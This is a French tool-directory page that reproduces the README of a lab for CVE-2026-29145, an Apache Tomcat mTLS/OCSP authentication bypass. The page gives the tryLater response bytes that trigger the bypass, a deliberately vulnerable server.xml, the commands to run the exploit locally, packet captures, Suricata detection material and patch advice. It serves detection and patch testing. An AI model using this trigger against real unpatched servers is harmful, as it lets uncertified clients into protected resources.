Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29145-Everything — Environnement PoC reproductible pour le contournement soft-fail OCSP + CLIENT_CERT d'Apache Tomcat CVE-2026-29145, comprenant des scripts d'exploitation, un répondeur OCSP simulé et des règles de détection Suricata. | Kitploit
Outils/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
Authentification et AutorisationAnalyse des VulnérabilitésExploitationÉvasion IDS/IPSExploitation d'Applications WebTests d'IntrusionDétection d'IntrusionApprentissage et ÉducationLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

Environnement PoC reproductible pour le contournement soft-fail OCSP + CLIENT_CERT d'Apache Tomcat CVE-2026-29145, comprenant des scripts d'exploitation, un répondeur OCSP simulé et des règles de détection Suricata.

Voir le dépôt
15il y a 2 moisPas encore vérifié
Partager

CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + contournement OCSP soft-fail – environnement de reproduction complet, paquets d'exploitation et règles de détection Suricata.

Usage exclusif pour la recherche de sécurité autorisée et le développement de règles de détection. Ne pas utiliser sur des systèmes non autorisés.


Résumé de la vulnérabilité

ÉlémentDescription
CVECVE-2026-29145
ComposantApache Tomcat / Tomcat Native
TypeContournement d'authentification (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / Moderate (Apache)
Versions impactéesTomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18 ; Native 2.0.0–2.0.13 etc.
Versions corrigéesTomcat 10.1.53+ / 9.0.116+ / 11.0.20+ ; Native 2.0.14+

Principe de la vulnérabilité

Lorsque Tomcat active CLIENT_CERT avec OCSP et configure ocspSoftFail=false (échec strict), certains chemins d'échec OCSP, notamment le statut de réponse tryLater, ne sont toujours pas traités comme un échec strict, permettant à des certificats clients qui auraient dû être rejetés d'être acceptés et aux ressources protégées d'être accessibles.

Le correctif officiel (ex. Tomcat commit fe26667c) aligne le traitement de TRY_LATER OCSP dans la voie FFM avec celui de Tomcat Native.

Résultats des tests de ce dépôt

Sur Tomcat 10.1.52 + Tomcat Native 2.0.12 :

Point clé : il est nécessaire de recevoir tryLater selon la RFC 6960 ; un simple HTTP 500 ne suffit pas pour déclencher le contournement dans cet environnement.


Contenu du dépôt

root@kitploit:~
CVE-2026-29145-Everything/
├── README.md                 # Ce fichier
├── REPRODUCTION.md           # Notes de reproduction détaillées et conseils Suricata
├── docker-compose.yml        # Tomcat vulnérable + Mock OCSP
├── poc_exploit.py            # Script d'exploitation / détection (code de sortie 10 = vulnérable)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # Génération de certificats CA / serveur / client (avec AIA OCSP)
├── capture_exploit.sh        # Exploitation et capture de paquets en une commande
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # Mappage utilisateurs CLIENT-CERT
│   ├── ROOT/                 # Patch minimal pour ROOT par défaut de l'image officielle
│   └── protected/            # Ressource protégée + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ Trafic d'exploitation capturé (pour écrire des règles)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # Paquet principal : mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # OCSP en clair uniquement
    ├── CVE-2026-29145-mtls-only.pcap       # TLS 8443 uniquement
    └── exploit_response.html               # Instantané de la réponse d'exploitation réussie

Le répertoire des clés privées certs/ est ignoré par .gitignore par défaut ; doit être généré localement.


Démarrage rapide

Dépendances

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt ou python3-requests système)
  • tcpdump (optionnel, pour capture de paquets)

Reproduction en une commande

root@kitploit:~
git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. Générer les certificats (AIA pointant vers le nom du service OCSP dans Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. Démarrer l'environnement (OCSP_MODE=try_later par défaut)
docker compose up -d
# Attendre healthy
docker compose ps

# 3. Exécuter le PoC
python3 poc_exploit.py
# Sortie attendue :
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Code de sortie 10 = vulnérable ; 0 = non exploitable / corrigé

Vérification manuelle :

root@kitploit:~
curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

Capture de paquets (conservation du trafic)

root@kitploit:~
./capture_exploit.sh
# Sortie dans pcaps/CVE-2026-29145-*.pcap

Le dépôt contient déjà un pcap d'exploitation réussi, utilisable directement pour valider des règles Suricata, sans avoir à recapturer.


Modes du Mock OCSP

root@kitploit:~
# tryLater — chemin de déclenchement de la CVE (par défaut)
OCSP_MODE=try_later docker compose up -d --force-recreate

# Échec HTTP 500 (dans cet environnement, l'échec strict rejette)
OCSP_MODE=fail docker compose up -d --force-recreate

# Simulation de succès OCSP (body non-DER réel, seulement pour tester la connectivité)
OCSP_MODE=succeed docker compose up -d --force-recreate

# DER internalError
OCSP_MODE=internal_error docker compose up -d --force-recreate

Caractéristiques du trafic (matériel Suricata)

Important : Le port 8443 est du mTLS chiffré en TLS 1.3 ; ouvert dans Wireshark, il ressemble à du charabia.
Le port 8888 (OCSP) est en HTTP clair – privilégiez l'analyse de l'OCSP pour écrire des règles.
Voir les détails complets dans pcaps/README.md.

Fichiers recommandés

OCSP en clair (correspondance directe en ligne)

root@kitploit:~
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

HTTP métier après déchiffrement (nécessite sslkeys.log)

root@kitploit:~
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark : Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

root@kitploit:~
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

Voir les détails dans REPRODUCTION.md et pcaps/README.md.


Points de configuration clés (server.xml vulnérable)

root@kitploit:~
<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

La configuration applicative CLIENT-CERT se trouve dans tomcat/protected/WEB-INF/web.xml.


Recommandations de correction

  1. Mettre à jour Tomcat vers 10.1.53+ (ou la version corrigée correspondante)
  2. Mettre à jour Tomcat Native vers 2.0.14+ en même temps
  3. Revoir la politique ocspSoftFail et l'accessibilité OCSP ; effectuer des tests de régression sur les comportements d'inaccessibilité/tryLater

Nettoyage

root@kitploit:~
./cleanup.sh
# ou
docker compose down -v

Références

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • Squelette PoC amont : CVE-2026-29145-Tester (ce dépôt a renforcé et enregistré des configurations reproductibles et le chemin tryLater)

Avertissement

Ce projet est destiné uniquement à des fins éducatives, de test de pénétration autorisé et de développement de règles de détection d'intrusion. L'utilisateur doit s'assurer qu'il dispose d'une autorisation légale sur le système cible. L'auteur n'est pas responsable des mauvaises utilisations.

Télécharger l’outil
Comportement OCSPocspSoftFailRésultat
DER tryLater (30 03 0a 01 03)falseHTTP 200 — contournement réussi
HTTP 500falseRejet TLS (échec strict effectif)
Timeout OCSPfalseRejet TLS
Échec quelconquetrue200 (soft-fail attendu)
FichierDescription
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.logSession complète déchiffrable
pcaps/CVE-2026-29145-ocsp-only.pcapOCSP en clair (pas besoin de clés)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtTexte lisible HTTP OCSP
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txtTexte HTTP métier après déchiffrement
rules/cve-2026-29145.rulesExemple de règle Suricata